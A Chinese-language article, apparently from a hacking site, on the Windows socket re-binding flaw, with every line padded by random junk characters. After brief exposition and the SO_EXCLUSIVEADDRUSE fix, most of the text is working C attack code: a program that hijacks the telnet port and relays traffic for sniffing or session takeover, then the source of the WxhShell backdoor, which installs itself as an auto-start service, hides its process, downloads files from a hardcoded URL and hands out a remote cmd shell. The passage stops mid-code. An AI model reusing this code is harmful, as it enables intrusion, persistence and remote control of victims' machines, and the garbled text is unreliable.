在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{'En\e s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
V5F%_,No UBv@+\Y8m saddr.sin_family = AF_INET;
v
*-0M k^"bLf(4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RoGwK*j0+ kX`[Y@nUN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
j=?'4sF K14^JAdY/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M=qb^~ l 1 rs&74- 这意味着什么?意味着可以进行如下的攻击:
DV)3 -s|8<A||" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
C'yppl% 'G\XXf%J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7Z ;?b0W )rW&c-' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:r#)z4d5 azQ D> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ev1 W6B-a 8mT M$#\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q6gt+FKU9 1923N]b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y6i _!z[V[ G7!W{;@I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m%;D DGW+>\G #include
NA3\ #include
osARA3\Xt #include
)SryDRT #include
xv{O^Ie+S DWORD WINAPI ClientThread(LPVOID lpParam);
Yim<>. ! int main()
bV8g|l-4( {
40E#JF# WORD wVersionRequested;
k>x&Ip8p DWORD ret;
;Gx)Noo/> WSADATA wsaData;
O$/o'"@ / BOOL val;
9O{b]=>wq SOCKADDR_IN saddr;
l3Njq^T SOCKADDR_IN scaddr;
y[B>~m8$ int err;
HK\~Qnq SOCKET s;
~'37`)]z SOCKET sc;
=K'cM=WM6 int caddsize;
QrO\jAZ{Ag HANDLE mt;
cdqB,]" DWORD tid;
X\EVTd)@ wVersionRequested = MAKEWORD( 2, 2 );
2(5ebe[ err = WSAStartup( wVersionRequested, &wsaData );
qTZFPfyU if ( err != 0 ) {
n
-( printf("error!WSAStartup failed!\n");
su*Pk|6% return -1;
m]i @ +C }
kmzH'wktt saddr.sin_family = AF_INET;
3(C\.oRc gs!(;N\j| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.ERO|$fv I>L-1o|^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4DZ-bt' saddr.sin_port = htons(23);
*5 w{8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4_Dp+^JF {
()&~@1U printf("error!socket failed!\n");
wtje(z5IL return -1;
Eu"_MgD }
gbVdOm val = TRUE;
L
"sO+4w //SO_REUSEADDR选项就是可以实现端口重绑定的
.bBdQpF- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|rm g#;/D {
{( r6e printf("error!setsockopt failed!\n");
L(&&26Y return -1;
quY:pqG38q }
ca+5=+X7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eX@L3BKp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F:x [ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.r*2| z5ij(RE] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H":oNpfb {
2UGsYQn ret=GetLastError();
4apL4E"r printf("error!bind failed!\n");
D!7`CH+ return -1;
8M!:N(a }
(5]}5W* listen(s,2);
p]3?gK- while(1)
I? ,>DHUX {
D3|I:Xm caddsize = sizeof(scaddr);
9on@Q_7m //接受连接请求
~69&6C1Ch sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)1X#*mCxk if(sc!=INVALID_SOCKET)
P.gb1$7< {
'7O3/GDK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Gea\,{E9xA if(mt==NULL)
13taFVdU {
$Xq!L printf("Thread Creat Failed!\n");
1GzAG;UUo6 break;
,v"YqD+GC5 }
6Ybg^0m }
(o`{uj{! CloseHandle(mt);
6j
~#[ }
21"1NJzP closesocket(s);
F'0O2KQ WSACleanup();
t5 G9!Nn return 0;
X&kp;W }
Kr)a2rZ}SL DWORD WINAPI ClientThread(LPVOID lpParam)
;^Dpl'v%\ {
gEjdN. SOCKET ss = (SOCKET)lpParam;
=>-Rnc@ SOCKET sc;
Mo^ od< unsigned char buf[4096];
-B +4+&{T SOCKADDR_IN saddr;
I_]^ .o1q long num;
^0Mt*e{q DWORD val;
]q4rlT.i DWORD ret;
50X([hIr //如果是隐藏端口应用的话,可以在此处加一些判断
YPxM<Gfa8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.SWlp2!M5 saddr.sin_family = AF_INET;
_*f`iu:` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(!:,+*YY saddr.sin_port = htons(23);
YOcO4
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7Op>i,HZk\ {
v?geCe=ng printf("error!socket failed!\n");
Rb'|EiNPw return -1;
@{25xTt }
JD|=>) val = 100;
u A<n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RCpR3iC2 {
4%4 }5UYN ret = GetLastError();
~sh`r{0 return -1;
1jcouD5?H }
}~L.qG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E 7{U|\ {
H*}y^)x ret = GetLastError();
~A\GT$ return -1;
> ;*b|Ik }
y+NN< EY@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`x*Pof!Io {
[TmIVQ!B printf("error!socket connect failed!\n");
c24dSNJg, closesocket(sc);
U>Slc08N closesocket(ss);
Qnsi`1mASr return -1;
iUN Ib }
VXwU?_4J. while(1)
#"G]ke1l$ {
,0!}7;j_c //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{N+$Q' //如果是嗅探内容的话,可以再此处进行内容分析和记录
GB=X5<; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#AJM6* G9 num = recv(ss,buf,4096,0);
$|@
( if(num>0)
gDpVeBd[ send(sc,buf,num,0);
1ukTA@Rj& else if(num==0)
EFM5,gB.m break;
YpVD2.jy num = recv(sc,buf,4096,0);
T{-CkHf9Q if(num>0)
~UP[A'9jJ send(ss,buf,num,0);
A
PEE~ else if(num==0)
\XZ/v*d0
break;
VZKvaxIk6 }
gi1^3R[ closesocket(ss);
.[ICx closesocket(sc);
RMdk:YvBg return 0 ;
.(cw>7e3D }
[_EZhq m+]K;}.}R X aMJDa|M ==========================================================
e w$B)W ,s"^kFl 下边附上一个代码,,WXhSHELL
N2;B-U F
7
f6&iy$@ ==========================================================
0Qf,@^zL* P/W
XaE4 #include "stdafx.h"
[M=7M}f; QTk}h_<u #include <stdio.h>
!$gR{XH$] #include <string.h>
GjvOM y #include <windows.h>
N5lDS #include <winsock2.h>
Pd_U7&w,5 #include <winsvc.h>
8}O lL,fP #include <urlmon.h>
at,XB.}Z] 4O^xY
6m #pragma comment (lib, "Ws2_32.lib")
8;JWK3Gv #pragma comment (lib, "urlmon.lib")
'-Vt|O_Q .1Dg s=| #define MAX_USER 100 // 最大客户端连接数
) vE~'W #define BUF_SOCK 200 // sock buffer
t.i 8
2Q #define KEY_BUFF 255 // 输入 buffer
D2Kp|F; tEvut=k' #define REBOOT 0 // 重启
*0Skd #define SHUTDOWN 1 // 关机
12b(A+M
G[uK -U #define DEF_PORT 5000 // 监听端口
(x;@%:3j$ n FHUy9q #define REG_LEN 16 // 注册表键长度
"R;U/+ #define SVC_LEN 80 // NT服务名长度
8;RUf~q? K0|FY=#2y // 从dll定义API
W}@c|d $` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RbOUfD(J4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}C"%p8=HM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NJWA3zz
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I-]?"Q7Jz .ypL=~Rp // wxhshell配置信息
$9_xGfx} struct WSCFG {
$r@zs'N int ws_port; // 监听端口
6]WAUK%h char ws_passstr[REG_LEN]; // 口令
98IJu int ws_autoins; // 安装标记, 1=yes 0=no
-b9\=U[ char ws_regname[REG_LEN]; // 注册表键名
R'as0 u\ char ws_svcname[REG_LEN]; // 服务名
l<58A7 char ws_svcdisp[SVC_LEN]; // 服务显示名
he;dq)-e9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
+V ;l6D char ws_passmsg[SVC_LEN]; // 密码输入提示信息
61C7.EZZ; int ws_downexe; // 下载执行标记, 1=yes 0=no
4DI8s4fi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2*;~S44 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H)kwQRfu 9<6;Hr,>G };
P64PPbP _Xe>V0 // default Wxhshell configuration
un mJbY;t struct WSCFG wscfg={DEF_PORT,
O:;w3u7;u "xuhuanlingzhe",
\kL3.W_ 1,
-P$PAg5"2 "Wxhshell",
'uSn}hm "Wxhshell",
)l C)@H} "WxhShell Service",
O`IQ(,yef "Wrsky Windows CmdShell Service",
'T*&'RQr "Please Input Your Password: ",
dVtG/0 1,
pZ.ecZe/ "
http://www.wrsky.com/wxhshell.exe",
NvceYKp: "Wxhshell.exe"
S6Q };
-">;-3,K u5`u>.! // 消息定义模块
-:+|zF@f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6jD=F ^jw char *msg_ws_prompt="\n\r? for help\n\r#>";
r=
`Jn6@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
PbJ(:`u char *msg_ws_ext="\n\rExit.";
we//|fA< char *msg_ws_end="\n\rQuit.";
[6Izlh+D char *msg_ws_boot="\n\rReboot...";
q_[o"wq/ char *msg_ws_poff="\n\rShutdown...";
]nn98y+ char *msg_ws_down="\n\rSave to ";
!Iy_UfW *SJ_z(CZm char *msg_ws_err="\n\rErr!";
{#vgtgBB char *msg_ws_ok="\n\rOK!";
y&$A+peJ1 gV's=cQ char ExeFile[MAX_PATH];
KxJ!,F{>H int nUser = 0;
%v
M-mbX HANDLE handles[MAX_USER];
x)DMPVB< int OsIsNt;
{BN#h[#B{ g*AWE,%=| SERVICE_STATUS serviceStatus;
*aM=Z+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,q`\\d ,f%S'(>w // 函数声明
~g]Vw4pv int Install(void);
I3L<[-ZE int Uninstall(void);
zj{pJOM06 int DownloadFile(char *sURL, SOCKET wsh);
gD@){Ip int Boot(int flag);
lgL%u K) void HideProc(void);
BA:VPTZq int GetOsVer(void);
N)X3XTY int Wxhshell(SOCKET wsl);
IVY]Ek EG~ void TalkWithClient(void *cs);
Woym/[i int CmdShell(SOCKET sock);
I^-Sb=j?Z int StartFromService(void);
NIry)'" int StartWxhshell(LPSTR lpCmdLine);
0
1rK8jX Q->sV$^=T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i>`%TW:g VOID WINAPI NTServiceHandler( DWORD fdwControl );
X'Xx"M (=AWOU+ // 数据结构和表定义
W:2( .? SERVICE_TABLE_ENTRY DispatchTable[] =
kiaw4_ {
Ty?cC** {wscfg.ws_svcname, NTServiceMain},
z2~til {NULL, NULL}
/{g>nzP };
kS);xA8s] L~OvY // 自我安装
$bR~+C int Install(void)
h7Kzq{$ {
pz}.9 yI8 char svExeFile[MAX_PATH];
Se}c[|8 HKEY key;
Czu9o;xr strcpy(svExeFile,ExeFile);
194)QeoFw y dA8wL // 如果是win9x系统,修改注册表设为自启动
TF\C@4Z if(!OsIsNt) {
S9y} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b2Fe<~S{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:P~6~
Kum RegCloseKey(key);
+~$ ]}% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sY&IquK^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i-_mTY&M RegCloseKey(key);
M5X&}cN6 return 0;
%ntRG! }
Xc-'Y"}|`t }
T.BW H2gRP }
A?P_DA else {
r),kDia IOmfF[ // 如果是NT以上系统,安装为系统服务
.t!x<B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+I|vzz`ZVr if (schSCManager!=0)
KkbD W3- {
7Ovi{xd@ SC_HANDLE schService = CreateService
^jZbo{ (
Ow,w$0(D schSCManager,
[RhO$c$[\ wscfg.ws_svcname,
|/{=ww8| wscfg.ws_svcdisp,
SY\ gXO8k SERVICE_ALL_ACCESS,
",; H`V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
##>H&,Dp[ SERVICE_AUTO_START,
8cIKvHx SERVICE_ERROR_NORMAL,
Ve; n}mJ? svExeFile,
/
zPO NULL,
@qAS*3j NULL,
*^ZV8c} NULL,
m-#2n?
z- NULL,
VU3upy< NULL
`Ggbi4), );
JK5gQ3C[ if (schService!=0)
ZBp/sm {
%dVZ0dl CloseServiceHandle(schService);
H<,gU`&R CloseServiceHandle(schSCManager);
$'M!HJxb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
iqWQ!r^ strcat(svExeFile,wscfg.ws_svcname);
on`3&0,. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6LIJQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HIZe0%WPw RegCloseKey(key);
Kn1a>fLaJ_ return 0;
E ~<JC"] }
] (8[}CeL }
'5$b-x6 F CloseServiceHandle(schSCManager);
>|UOz& }
j A%u 5V }
/*mI<[xb ^<2p~h0
\ return 1;
8&slu{M-
t }
+cN8Y}V X
l5 A
'h // 自我卸载
1mG-} int Uninstall(void)
2P0*NQ {
s;Q!X ?Q HKEY key;
@\#td5' tGa8W if(!OsIsNt) {
Gyc]?m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(f"4,b^] RegDeleteValue(key,wscfg.ws_regname);
yY q,*<G RegCloseKey(key);
[{,1=AB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SO!8Di RegDeleteValue(key,wscfg.ws_regname);
o>pJPV RegCloseKey(key);
SwMc
pNo return 0;
|CRn c: }
*$g-:ILRuZ }
4^:=xL }
X'iWJ8 else {
aPL+=5 8r P&LsVR{# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]c'A%:f< if (schSCManager!=0)
i9x+A/o[ {
ep{FpB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_oeS Uzq. if (schService!=0)
oUlVI*~ND {
ujpJ@OWj if(DeleteService(schService)!=0) {
3^yK!-Wp( CloseServiceHandle(schService);
o66}yJzmD CloseServiceHandle(schSCManager);
xJ.M;SF4 return 0;
utV_W& }
IH+|}z4N?> CloseServiceHandle(schService);
UkFC~17P }
Z,PPu&lmE/ CloseServiceHandle(schSCManager);
=rdV ]{Wc }
tKXIk9e }
SE*g;Cvg1 Xsa]. return 1;
)8ZH-|N`!E }
jmG~Un M CU!Dhm/U // 从指定url下载文件
b&U62iq int DownloadFile(char *sURL, SOCKET wsh)
c7H^$_^ = {
}0y"F HRESULT hr;
K{+2G&i char seps[]= "/";
KMax$ char *token;
fp"W[S|uL char *file;
4 #Jg9o char myURL[MAX_PATH];
O;3>sLgc char myFILE[MAX_PATH];
G' 1'/ =Dj#gV strcpy(myURL,sURL);
V!~wj token=strtok(myURL,seps);
xyXa . while(token!=NULL)
4^<?Wq~ {
n+ M <\ file=token;
6ik$B token=strtok(NULL,seps);
'~ 47)fN }
.T`%tJ-Em <1TAw. GetCurrentDirectory(MAX_PATH,myFILE);
<F'\lA9 strcat(myFILE, "\\");
P.DK0VgY strcat(myFILE, file);
#AY&BWS$ send(wsh,myFILE,strlen(myFILE),0);
gjlx~.0d send(wsh,"...",3,0);
)t%b838l% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\Vk:93OH21 if(hr==S_OK)
n+R7D.<q!! return 0;
0=$T\(0g else
'Pbr
v return 1;
#5uOx(> yB!dp;gM{ }
x4O~q0>:Le +kD
R.E: // 系统电源模块
`WS&rmq&' int Boot(int flag)
"<gOzXpa {
N2o7%gJw HANDLE hToken;
*m (=V1" TOKEN_PRIVILEGES tkp;
4skD(au8 %a7$QF] if(OsIsNt) {
qxc[M8s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x?<FJ"8"k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%
]U tkp.PrivilegeCount = 1;
vP,n(reM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7xR\kL., AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_#8MkW#]~ if(flag==REBOOT) {
_yT Ed"$
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!<F3d`a return 0;
?V=CB,^ }
Iu6
else {
W%w~ah|/] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0*v2y*2V return 0;
XK vi=0B }
cz$2R }
/mZE/>&~, else {
Zwx%7l;C if(flag==REBOOT) {
!5N.B|Nt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5lum $5 return 0;
|':{lH6+1 }
Y4YJJYvD else {
.RL=xb|[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{4PwLCy return 0;
GA.8@3 }
z(~_AN M4, }
u1.BN>G ~>XxGjxe return 1;
eJX#@`K }
ji="DYtL VtohL+ // win9x进程隐藏模块
1E$|~ void HideProc(void)
wgA_38To {
y)<q/ to&m4+5?6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[-x7_=E# if ( hKernel != NULL )
p]"4#q\( {
&e3.:[~_? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&nK<:^n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
./~(7o$ FreeLibrary(hKernel);
*K;~!P }
-n;}n:wL WY]s |2a return;
d"Y{UE }
w2J<WC+_< 6w7 7YTJ // 获取操作系统版本
@j/&m]6%-D int GetOsVer(void)
=BrRYA {
F:ELPs4" OSVERSIONINFO winfo;
sR8"3b<qA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Vw"\{` GetVersionEx(&winfo);
?h2}#wg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8;X-)&R return 1;
Y9|!+,
else
XX~,>Q}H= return 0;
ch]29 }
wyG;8I PI<vxjOK` // 客户端句柄模块
1YMh1+1 int Wxhshell(SOCKET wsl)
2T`!v {
=R\]=cRbg SOCKET wsh;
Xm&L
BX struct sockaddr_in client;
g,Y/M3>( DWORD myID;
Ap !lQ>p w*Ihk) while(nUser<MAX_USER)
{>;R?TG]$ {
L0]_X#s># int nSize=sizeof(client);
eQ}4;^;M- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<-0]i_4sK if(wsh==INVALID_SOCKET) return 1;
azU"G(6y?+ rLT!To handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?%kV?eu' if(handles[nUser]==0)
|7Kbpj closesocket(wsh);
S[QrS7 else
I2DpRMy nUser++;
!o-@&q }
YbLW/E\T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|nF 8gh~} L=h'Qgk% return 0;
4.(4x& }
*|l/6!WM CQ2jP
G*py // 关闭 socket
<7$1kGlA void CloseIt(SOCKET wsh)
^}C\zW {
]R? 4{t4 closesocket(wsh);
O9p|a%o nUser--;
uVU)d1N ExitThread(0);
rQ9'bCSr% }
Ct|A:/z( A70d\i // 客户端请求句柄
'H!XUtFs" void TalkWithClient(void *cs)
FgI3 {
l+0P ?hM64jI| SOCKET wsh=(SOCKET)cs;
y3ikWnx char pwd[SVC_LEN];
59-c<I/}f char cmd[KEY_BUFF];
,2)6s\]/b char chr[1];
lys#G:H] int i,j;
)_NO4`ejs/ cS+>J@L while (nUser < MAX_USER) {
Vq2$'lY ;=UsAB] if(wscfg.ws_passstr) {
WjjB<YKzF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{_dvx*M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U%<Inb}ad //ZeroMemory(pwd,KEY_BUFF);
L.WljNo i=0;
39jG8zr=Z[ while(i<SVC_LEN) {
TB^$1C w*MpX
U< // 设置超时
wdZ/Xp9] fd_set FdRead;
#89!'W struct timeval TimeOut;
=rK+eG#, FD_ZERO(&FdRead);
?' je)F FD_SET(wsh,&FdRead);
hpJ-r TimeOut.tv_sec=8;
PYzvCf`? TimeOut.tv_usec=0;
&VcV$8k int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]+$?u&0?w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
FCn_^l)EA Tb-F]lg$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-`t^7pr pwd
=chr[0]; snikn&
if(chr[0]==0xd || chr[0]==0xa) { i 3SHg\~Z
pwd=0; yCX?!E;La
break; ,v&(Y Od
} 8JD,u
i++; <Ok3FE.K
} VD\=`r)nT
e0 T\tc
// 如果是非法用户,关闭 socket A +)`ZTuO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ri.I pRe
} zv"Z DRW
x$%!U[!3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I`p;F!s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~3 bPIg7D
:a)u&g@G
while(1) { H7j0K ~U0
4a]P7fx-
ZeroMemory(cmd,KEY_BUFF); &!
?eL
+d;bjo 2
// 自动支持客户端 telnet标准 PiYxk+N
j=0; 1sH&
sGy7
while(j<KEY_BUFF) { V$?SR44>nH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8&aq/4:q0
cmd[j]=chr[0]; k@:%:Sj 2
if(chr[0]==0xa || chr[0]==0xd) { Tu 7QCr5*
cmd[j]=0; r>U@3%0&
break; O8.5}>gDn.
} #1G:lhkC
j++; tNX|U:Y*
} >e"#'K0?\
F@:'J\I}:
// 下载文件 DDH:)=;z
if(strstr(cmd,"http://")) { nj53G67y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wiu"k%Qsh
if(DownloadFile(cmd,wsh))
U`m54f@U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }AH]
th
else Z)aUt
Srf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &9)\wnOS
} Ez=Olbk
else { #
4PVVu<
9*?oYm;dX
switch(cmd[0]) { d<N:[Y\4l
N*&1GT#9
// 帮助 xK\d4"
case '?': { e@OX_t_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f`=-US
break; \} :PLCKT
} *=7U4W
// 安装 ,nB5/Lx
case 'i': { tC9n
k5~
if(Install()) H
DFOA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'`A?&2ru
else 3jC_AO%T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A$:U'ZG_
break; j ?(&#
} ^M>P:~
// 卸载 KMjhZap%
case 'r': { v oj^pzZ
if(Uninstall()) s}% M4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}7 'm
M
else fx>4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p"ZG%Ow5Q]
break; w=J3=T@TD
} :A'y+MnK<
// 显示 wxhshell 所在路径 ';=O 0)u
case 'p': { =$Nq
char svExeFile[MAX_PATH]; e;}7G
strcpy(svExeFile,"\n\r"); q(2'\ _`u
strcat(svExeFile,ExeFile); nK%LRcAs
send(wsh,svExeFile,strlen(svExeFile),0); R[x_j
break; 4Ic*9t3
} ~1vDV>dpE
// 重启 [^98fAlz6
case 'b': { 7Da`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }2<7%FL
if(Boot(REBOOT)) k{SAvKx=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,n 'n
else { &@Be2!%'9K
closesocket(wsh); Y\?"WGL)p
ExitThread(0); FE|JHh$
} @wNG{Stj
break; 6MMOf\
} 9e,0\J
// 关机 JB[~;nLlC
case 'd': { )C]gld;8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W+ko q*P
if(Boot(SHUTDOWN)) oEKvl3Hz_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =w
2**$
else { l#Y,R 0
closesocket(wsh); xRLT=.ir
ExitThread(0); aH/
k Ua
} FSW_<%
break; X!dYdWw*m
} +Kbjzh3<wG
// 获取shell iVq'r4S
case 's': { F%D.zvKN
CmdShell(wsh); y''z5['
closesocket(wsh); XBu"-(
ExitThread(0); &H/'rd0M
break; D (?DW}Rqs
} M {T-iW"
// 退出 * kDC liL
case 'x': { U7}yi$WT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ieCEo|b
CloseIt(wsh); qL3;}R
break; {dMsz
} ~^fZx5
// 离开 l$pm_%@2]
case 'q': { G[I"8iS,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zFff`]^`
closesocket(wsh); P'[3Fqe
WSACleanup(); EC!02S
exit(1); Mc_YPR:C
break; 9u}Hmb
} s/ qYa])
} tq6!`L }3
} _
y8Wn}19f
o5uph=Q{
// 提示信息 peuZ&yK+"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'UX!*5k<:
} [H^z-6x:0
} 9oR@UW1
9FYUo
return; tKx~1-
} :L@?2),
l=)xo@6
// shell模块句柄 n QZwC
int CmdShell(SOCKET sock) !_D0vI;
{ 9YQb&
STARTUPINFO si; ^{;oM^Q'
ZeroMemory(&si,sizeof(si)); Z<y I\1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [KaAXv
.X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P& -Qc
PROCESS_INFORMATION ProcessInfo; <~'"<HwtK
char cmdline[]="cmd"; Wk4s reB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a PfO$b:
return 0; suiS&$-E
} A,hJIe
cyv`B3}
// 自身启动模式 Z=Y& B>:[
int StartFromService(void) JZ*/,|1}EC
{ BmMGx8P
typedef struct 6x[}g
{ A _
N;
DWORD ExitStatus; ZC`wO%,
DWORD PebBaseAddress; %wvdn
DWORD AffinityMask; yyRiP|hJ
